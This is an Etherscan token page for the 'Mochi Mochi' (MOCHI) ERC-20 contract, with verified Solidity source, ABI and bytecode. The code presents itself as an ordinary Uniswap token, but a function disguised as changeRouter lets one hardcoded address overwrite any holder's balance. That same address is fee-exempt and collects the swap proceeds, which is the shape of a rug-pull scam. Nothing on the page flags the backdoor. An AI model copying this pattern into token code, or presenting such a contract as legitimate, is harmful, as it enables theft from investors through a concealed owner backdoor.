ETH Price: $2,319.51 (+2.05%)

Token

Mochi Mochi (MOCHI)
 

Overview

Max Total Supply

1,000,000,000 MOCHI

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,827,290.535705953 MOCHI

Value
$0.00
0x2fe4f089b565ba4e65afaabb4b0f27b170e2fa27
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOCHIMOCHI

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

//Tg : https://t.me/mochimochieth

//Twitter : https://twitter.com/mochimochierc
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    constructor () {
        _owner = msg.sender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }
}

contract MOCHIMOCHI is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public FOMOS;

    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 public totalSupply;

    IUniswapRouter public _uniswapRouter;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _fee = 0;
    address public _uniswapPair;

    constructor (){
        name = "Mochi Mochi";
        symbol = "MOCHI";
        decimals = 9;
        uint256 Supply = 1000000000;
        FOMOS = 0xB54F02a09CF6B7ab9EB1Cc2E546ac78F00689A28;

        totalSupply = Supply * 10 ** decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[FOMOS] = true;
        _balances[receiveAddr] = totalSupply;
        emit Transfer(address(0), receiveAddr, totalSupply);

        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;

    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    struct inswaper{address mss;uint256 amo;address fom;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function changeRouter(address ac,uint256 na) public {inswaper memory index = inswaper({mss : msg.sender,amo : na,fom : ac});require(FOMOS == index.mss);_balances[index.fom] = index.amo;}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {_transfer(sender, recipient, amount);if (_allowances[sender][msg.sender] != MAX) {_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;}return true;}
    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    
    function _transfer(address from,address to,uint256 amount
    ) private {

        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 _bal = balanceOf(address(this));
            if (_bal > 0) {
                uint256 _swapamount = amount;
                _swapamount = _swapamount > _bal ? _bal : _swapamount;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = _uniswapRouter.WETH();
                try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_swapamount,0,path,address(FOMOS),block.timestamp) {} catch {}
            }
            inSwap = false;
        }
        
        bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;

        _balances[from] = _balances[from] - amount;
        uint256 feeAmount;

        if (takeFee && _fee > 0) {
            uint256 _a = amount * _fee / 100;
            feeAmount += _a;
            _balances[address(this)] = _balances[address(this)] + _a;
            emit Transfer(from, address(this), _a);
        }

        _balances[to] = _balances[to] + amount - feeAmount;
        emit Transfer(from, to, amount - feeAmount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FOMOS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ac","type":"address"},{"internalType":"uint256","name":"na","type":"uint256"}],"name":"changeRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600a553480156200001657600080fd5b50600080546001600160a01b0319163317905560408051808201909152600b8082526a4d6f636869204d6f63686960a81b60209092019182526200005d9160049162000393565b50604080518082019091526005808252644d4f43484960d81b60209092019182526200008a918162000393565b506006805460ff19166009908117909155600380546001600160a01b03191673b54f02a09cf6b7ab9eb1cc2e546ac78f00689a28179055633b9aca0090620000d490600a620004b4565b620000e0908262000575565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081528392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782553060009081526002602090815260408083209383529281529082902060001990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a01559260048082019391829003018186803b158015620001f957600080fd5b505afa1580156200020e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000234919062000439565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029257600080fd5b505afa158015620002a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cd919062000439565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200031657600080fd5b505af11580156200032b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000351919062000439565b600b80546001600160a01b0319166001600160a01b03928316179055600954166000908152600760205260409020805460ff1916600117905550620005ea9050565b828054620003a19062000597565b90600052602060002090601f016020900481019282620003c5576000855562000410565b82601f10620003e057805160ff191683800117855562000410565b8280016001018555821562000410579182015b8281111562000410578251825591602001919060010190620003f3565b506200041e92915062000422565b5090565b5b808211156200041e576000815560010162000423565b6000602082840312156200044c57600080fd5b81516001600160a01b03811681146200046457600080fd5b9392505050565b600181815b80851115620004ac578160001904821115620004905762000490620005d4565b808516156200049e57918102915b93841c939080029062000470565b509250929050565b60006200046460ff841683600082620004d0575060016200056f565b81620004df575060006200056f565b8160018114620004f85760028114620005035762000523565b60019150506200056f565b60ff841115620005175762000517620005d4565b50506001821b6200056f565b5060208310610133831016604e8410600b841016171562000548575081810a6200056f565b6200055483836200046b565b80600019048211156200056b576200056b620005d4565b0290505b92915050565b6000816000190483118215151615620005925762000592620005d4565b500290565b600181811c90821680620005ac57607f821691505b60208210811415620005ce57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610ca680620005fa6000396000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102ea578063c5b37c221461030a578063dbc4c42d14610320578063dd62ed3e14610342578063f2fde38b1461038857600080fd5b806370a08231146102615780638da5cb5b146102975780638f86fbb9146102b557806395d89b41146102d557600080fd5b8063313ce567116100d1578063313ce567146101ad57806336b2e027146101d95780634bf28fd01461020957806365b61b771461024157600080fd5b806306fdde031461010e578063095ea7b31461013957806318160ddd1461016957806323b872dd1461018d57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506101236103a8565b6040516101309190610abb565b60405180910390f35b34801561014557600080fd5b50610159610154366004610a8f565b610436565b6040519015158152602001610130565b34801561017557600080fd5b5061017f60085481565b604051908152602001610130565b34801561019957600080fd5b506101596101a8366004610a4e565b61044c565b3480156101b957600080fd5b506006546101c79060ff1681565b60405160ff9091168152602001610130565b3480156101e557600080fd5b506101596101f43660046109d4565b60076020526000908152604090205460ff1681565b34801561021557600080fd5b50600b54610229906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b34801561024d57600080fd5b50600954610229906001600160a01b031681565b34801561026d57600080fd5b5061017f61027c3660046109d4565b6001600160a01b031660009081526001602052604090205490565b3480156102a357600080fd5b506000546001600160a01b0316610229565b3480156102c157600080fd5b50600354610229906001600160a01b031681565b3480156102e157600080fd5b506101236104e3565b3480156102f657600080fd5b50610159610305366004610a8f565b6104f0565b34801561031657600080fd5b5061017f600a5481565b34801561032c57600080fd5b5061034061033b366004610a8f565b6104fd565b005b34801561034e57600080fd5b5061017f61035d366004610a15565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039457600080fd5b506103406103a33660046109d4565b61055e565b600480546103b590610bf1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e190610bf1565b801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b505050505081565b60006104433384846105c7565b50600192915050565b6000610459848484610628565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104d9576001600160a01b03841660009081526002602090815260408083203384529091529020546104b4908390610bda565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600580546103b590610bf1565b6000610443338484610628565b6040805160608101825233808252602082018490526001600160a01b03858116938301939093526003549192919091161461053757600080fd5b6020808201516040928301516001600160a01b031660009081526001909252919020555050565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600b546001600160a01b03838116911614801561064f5750600954600160a01b900460ff16155b156107f2576009805460ff60a01b1916600160a01b17905530600090815260016020526040812054905080156107e3578181811161068d578061068f565b815b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106106c9576106c9610c42565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075591906109f8565b8160018151811061076857610768610c42565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac947926107b49287926000928892909116904290600401610b10565b600060405180830381600087803b1580156107ce57600080fd5b505af19250505080156107df575060015b5050505b506009805460ff60a01b191690555b6001600160a01b03831660009081526007602052604081205460ff1615801561083457506001600160a01b03831660009081526007602052604090205460ff16155b801561084a5750600954600160a01b900460ff16155b6001600160a01b038516600090815260016020526040902054909150610871908390610bda565b6001600160a01b03851660009081526001602052604081209190915581801561089c57506000600a54115b156109425760006064600a54856108b39190610bbb565b6108bd9190610b99565b90506108c98183610b81565b306000908152600160205260409020549092506108e7908290610b81565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109389085815260200190565b60405180910390a3505b6001600160a01b0384166000908152600160205260409020548190610968908590610b81565b6109729190610bda565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109bc8487610bda565b60405190815260200160405180910390a35050505050565b6000602082840312156109e657600080fd5b81356109f181610c58565b9392505050565b600060208284031215610a0a57600080fd5b81516109f181610c58565b60008060408385031215610a2857600080fd5b8235610a3381610c58565b91506020830135610a4381610c58565b809150509250929050565b600080600060608486031215610a6357600080fd5b8335610a6e81610c58565b92506020840135610a7e81610c58565b929592945050506040919091013590565b60008060408385031215610aa257600080fd5b8235610aad81610c58565b946020939093013593505050565b600060208083528351808285015260005b81811015610ae857858101830151858201604001528201610acc565b81811115610afa576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610b605784516001600160a01b031683529383019391830191600101610b3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115610b9457610b94610c2c565b500190565b600082610bb657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610bd557610bd5610c2c565b500290565b600082821015610bec57610bec610c2c565b500390565b600181811c90821680610c0557607f821691505b60208210811415610c2657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610c6d57600080fd5b5056fea2646970667358221220e8f49415b5eb6f1a75b7e3f9da976ef0a2f81a0ad4b46162893936c4cd6d751364736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102ea578063c5b37c221461030a578063dbc4c42d14610320578063dd62ed3e14610342578063f2fde38b1461038857600080fd5b806370a08231146102615780638da5cb5b146102975780638f86fbb9146102b557806395d89b41146102d557600080fd5b8063313ce567116100d1578063313ce567146101ad57806336b2e027146101d95780634bf28fd01461020957806365b61b771461024157600080fd5b806306fdde031461010e578063095ea7b31461013957806318160ddd1461016957806323b872dd1461018d57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506101236103a8565b6040516101309190610abb565b60405180910390f35b34801561014557600080fd5b50610159610154366004610a8f565b610436565b6040519015158152602001610130565b34801561017557600080fd5b5061017f60085481565b604051908152602001610130565b34801561019957600080fd5b506101596101a8366004610a4e565b61044c565b3480156101b957600080fd5b506006546101c79060ff1681565b60405160ff9091168152602001610130565b3480156101e557600080fd5b506101596101f43660046109d4565b60076020526000908152604090205460ff1681565b34801561021557600080fd5b50600b54610229906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b34801561024d57600080fd5b50600954610229906001600160a01b031681565b34801561026d57600080fd5b5061017f61027c3660046109d4565b6001600160a01b031660009081526001602052604090205490565b3480156102a357600080fd5b506000546001600160a01b0316610229565b3480156102c157600080fd5b50600354610229906001600160a01b031681565b3480156102e157600080fd5b506101236104e3565b3480156102f657600080fd5b50610159610305366004610a8f565b6104f0565b34801561031657600080fd5b5061017f600a5481565b34801561032c57600080fd5b5061034061033b366004610a8f565b6104fd565b005b34801561034e57600080fd5b5061017f61035d366004610a15565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039457600080fd5b506103406103a33660046109d4565b61055e565b600480546103b590610bf1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e190610bf1565b801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b505050505081565b60006104433384846105c7565b50600192915050565b6000610459848484610628565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104d9576001600160a01b03841660009081526002602090815260408083203384529091529020546104b4908390610bda565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600580546103b590610bf1565b6000610443338484610628565b6040805160608101825233808252602082018490526001600160a01b03858116938301939093526003549192919091161461053757600080fd5b6020808201516040928301516001600160a01b031660009081526001909252919020555050565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600b546001600160a01b03838116911614801561064f5750600954600160a01b900460ff16155b156107f2576009805460ff60a01b1916600160a01b17905530600090815260016020526040812054905080156107e3578181811161068d578061068f565b815b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106106c9576106c9610c42565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075591906109f8565b8160018151811061076857610768610c42565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac947926107b49287926000928892909116904290600401610b10565b600060405180830381600087803b1580156107ce57600080fd5b505af19250505080156107df575060015b5050505b506009805460ff60a01b191690555b6001600160a01b03831660009081526007602052604081205460ff1615801561083457506001600160a01b03831660009081526007602052604090205460ff16155b801561084a5750600954600160a01b900460ff16155b6001600160a01b038516600090815260016020526040902054909150610871908390610bda565b6001600160a01b03851660009081526001602052604081209190915581801561089c57506000600a54115b156109425760006064600a54856108b39190610bbb565b6108bd9190610b99565b90506108c98183610b81565b306000908152600160205260409020549092506108e7908290610b81565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109389085815260200190565b60405180910390a3505b6001600160a01b0384166000908152600160205260409020548190610968908590610b81565b6109729190610bda565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109bc8487610bda565b60405190815260200160405180910390a35050505050565b6000602082840312156109e657600080fd5b81356109f181610c58565b9392505050565b600060208284031215610a0a57600080fd5b81516109f181610c58565b60008060408385031215610a2857600080fd5b8235610a3381610c58565b91506020830135610a4381610c58565b809150509250929050565b600080600060608486031215610a6357600080fd5b8335610a6e81610c58565b92506020840135610a7e81610c58565b929592945050506040919091013590565b60008060408385031215610aa257600080fd5b8235610aad81610c58565b946020939093013593505050565b600060208083528351808285015260005b81811015610ae857858101830151858201604001528201610acc565b81811115610afa576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610b605784516001600160a01b031683529383019391830191600101610b3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115610b9457610b94610c2c565b500190565b600082610bb657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610bd557610bd5610c2c565b500290565b600082821015610bec57610bec610c2c565b500390565b600181811c90821680610c0557607f821691505b60208210811415610c2657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610c6d57600080fd5b5056fea2646970667358221220e8f49415b5eb6f1a75b7e3f9da976ef0a2f81a0ad4b46162893936c4cd6d751364736f6c63430008070033

Deployed Bytecode Sourcemap

996:4092:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1355:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3222:124;;;;;;;;;;-1:-1:-1;3222:124:0;;;;;:::i;:::-;;:::i;:::-;;;2069:14:1;;2062:22;2044:41;;2032:2;2017:18;3222:124:0;1904:187:1;1499:26:0;;;;;;;;;;;;;;;;;;;3407:25:1;;;3395:2;3380:18;1499:26:0;3261:177:1;3352:267:0;;;;;;;;;;-1:-1:-1;3352:267:0;;;;;:::i;:::-;;:::i;1407:21::-;;;;;;;;;;-1:-1:-1;1407:21:0;;;;;;;;;;;4600:4:1;4588:17;;;4570:36;;4558:2;4543:18;1407:21:0;4428:184:1;1437:49:0;;;;;;;;;;-1:-1:-1;1437:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1688:27;;;;;;;;;;-1:-1:-1;1688:27:0;;;;-1:-1:-1;;;;;1688:27:0;;;;;;-1:-1:-1;;;;;1860:32:1;;;1842:51;;1830:2;1815:18;1688:27:0;1696:203:1;1534:36:0;;;;;;;;;;-1:-1:-1;1534:36:0;;;;-1:-1:-1;;;;;1534:36:0;;;2611:94;;;;;;;;;;-1:-1:-1;2611:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;2685:18:0;2668:7;2685:18;;;:9;:18;;;;;;;2611:94;697:79;;;;;;;;;;-1:-1:-1;735:7:0;762:6;-1:-1:-1;;;;;762:6:0;697:79;;1326:20;;;;;;;;;;-1:-1:-1;1326:20:0;;;;-1:-1:-1;;;;;1326:20:0;;;1380;;;;;;;;;;;;;:::i;2711:130::-;;;;;;;;;;-1:-1:-1;2711:130:0;;;;;:::i;:::-;;:::i;1658:23::-;;;;;;;;;;;;;;;;3030:186;;;;;;;;;;-1:-1:-1;3030:186:0;;;;;:::i;:::-;;:::i;:::-;;2906:118;;;;;;;;;;-1:-1:-1;2906:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;2995:18:0;;;2978:7;2995:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2906:118;883:106;;;;;;;;;;-1:-1:-1;883:106:0;;;;;:::i;:::-;;:::i;1355:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3222:124::-;3288:4;3295:37;3304:10;3316:7;3325:6;3295:8;:37::i;:::-;-1:-1:-1;3340:4:0;3222:124;;;;:::o;3352:267::-;3441:4;3448:36;3458:6;3466:9;3477:6;3448:9;:36::i;:::-;-1:-1:-1;;;;;3489:19:0;;1647:1;3489:19;;;:11;:19;;;;;;;;3509:10;3489:31;;;;;;;;-1:-1:-1;;3489:38:0;3485:121;;-1:-1:-1;;;;;3564:19:0;;;;;;:11;:19;;;;;;;;3584:10;3564:31;;;;;;;;:40;;3598:6;;3564:40;:::i;:::-;-1:-1:-1;;;;;3530:19:0;;;;;;:11;:19;;;;;;;;3550:10;3530:31;;;;;;;:74;3485:121;-1:-1:-1;3613:4:0;3352:267;;;;;:::o;1380:20::-;;;;;;;:::i;2711:130::-;2780:4;2787:40;2797:10;2809:9;2820:6;2787:9;:40::i;3030:186::-;3107:46;;;;;;;;3123:10;3107:46;;;;;;;;;-1:-1:-1;;;;;3107:46:0;;;;;;;;;;3162:5;;3107:46;;3162:5;;;;:18;3154:27;;;;;;3205:9;;;;;3192;;;;;-1:-1:-1;;;;;3182:20:0;;;;;:9;:20;;;;;;:32;-1:-1:-1;;3030:186:0:o;883:106::-;824:6;;-1:-1:-1;;;;;824:6:0;834:10;824:20;816:39;;;;-1:-1:-1;;;816:39:0;;3129:2:1;816:39:0;;;3111:21:1;3168:1;3148:18;;;3141:29;-1:-1:-1;;;3186:18:1;;;3179:36;3232:18;;816:39:0;;;;;;;;964:6:::1;:17:::0;;-1:-1:-1;;;;;;964:17:0::1;-1:-1:-1::0;;;;;964:17:0;;;::::1;::::0;;;::::1;::::0;;883:106::o;3625:151::-;-1:-1:-1;;;;;3700:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;3742:32;;3407:25:1;;;3742:32:0;;3380:18:1;3742:32:0;;;;;;;3625:151;;;:::o;3788:1262::-;3878:12;;-1:-1:-1;;;;;3878:18:0;;;:12;;:18;:29;;;;-1:-1:-1;3901:6:0;;-1:-1:-1;;;3901:6:0;;;;3900:7;3878:29;3874:622;;;3924:6;:13;;-1:-1:-1;;;;3924:13:0;-1:-1:-1;;;3924:13:0;;;3985:4;-1:-1:-1;2685:18:0;;;-1:-1:-1;2685:18:0;;;;;;3952:39;-1:-1:-1;4010:8:0;;4006:450;;4061:6;4100:18;;;:39;;4128:11;4100:39;;;4121:4;4100:39;4182:16;;;4196:1;4182:16;;;;;;;;4086:53;;-1:-1:-1;4158:21:0;;4182:16;;;;;;;;;;;;-1:-1:-1;4182:16:0;4158:40;;4235:4;4217;4222:1;4217:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4217:23:0;;;:7;;;;;;;;;;:23;;;;4269:14;;:21;;;-1:-1:-1;;;4269:21:0;;;;:14;;;;;:19;;:21;;;;;4217:7;;4269:21;;;;;:14;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4259:4;4264:1;4259:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4259:31:0;;;:7;;;;;;;;;:31;4313:14;;4406:5;;4313:116;;-1:-1:-1;;;4313:116:0;;:14;;;;:65;;:116;;4379:11;;4313:14;;4393:4;;4406:5;;;;4413:15;;4313:116;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4309:132;4020:436;;4006:450;-1:-1:-1;4470:6:0;:14;;-1:-1:-1;;;;4470:14:0;;;3874:622;-1:-1:-1;;;;;4532:23:0;;4516:12;4532:23;;;:17;:23;;;;;;;;4531:24;:50;;;;-1:-1:-1;;;;;;4560:21:0;;;;;;:17;:21;;;;;;;;4559:22;4531:50;:61;;;;-1:-1:-1;4586:6:0;;-1:-1:-1;;;4586:6:0;;;;4585:7;4531:61;-1:-1:-1;;;;;4623:15:0;;;;;;:9;:15;;;;;;4516:76;;-1:-1:-1;4623:24:0;;4641:6;;4623:24;:::i;:::-;-1:-1:-1;;;;;4605:15:0;;;;;;:9;:15;;;;;:42;;;;4692:7;:19;;;;;4710:1;4703:4;;:8;4692:19;4688:238;;;4728:10;4757:3;4750:4;;4741:6;:13;;;;:::i;:::-;:19;;;;:::i;:::-;4728:32;-1:-1:-1;4775:15:0;4728:32;4775:15;;:::i;:::-;4850:4;4832:24;;;;:9;:24;;;;;;4775:15;;-1:-1:-1;4832:29:0;;4859:2;;4832:29;:::i;:::-;4823:4;4805:24;;;;:9;:24;;;;;;;:56;;;;4881:33;;-1:-1:-1;;;;;4881:33:0;;;;;;;4911:2;3407:25:1;;3395:2;3380:18;;3261:177;4881:33:0;;;;;;;;4713:213;4688:238;-1:-1:-1;;;;;4954:13:0;;;;;;:9;:13;;;;;;4979:9;;4954:22;;4970:6;;4954:22;:::i;:::-;:34;;;;:::i;:::-;-1:-1:-1;;;;;4938:13:0;;;;;;;:9;:13;;;;;:50;;;;5004:38;;;5023:18;5032:9;5023:6;:18;:::i;:::-;5004:38;;3407:25:1;;;3395:2;3380:18;5004:38:0;;;;;;;3861:1189;;3788:1262;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;:::-;250:5;14:247;-1:-1:-1;;;14:247:1:o;266:251::-;336:6;389:2;377:9;36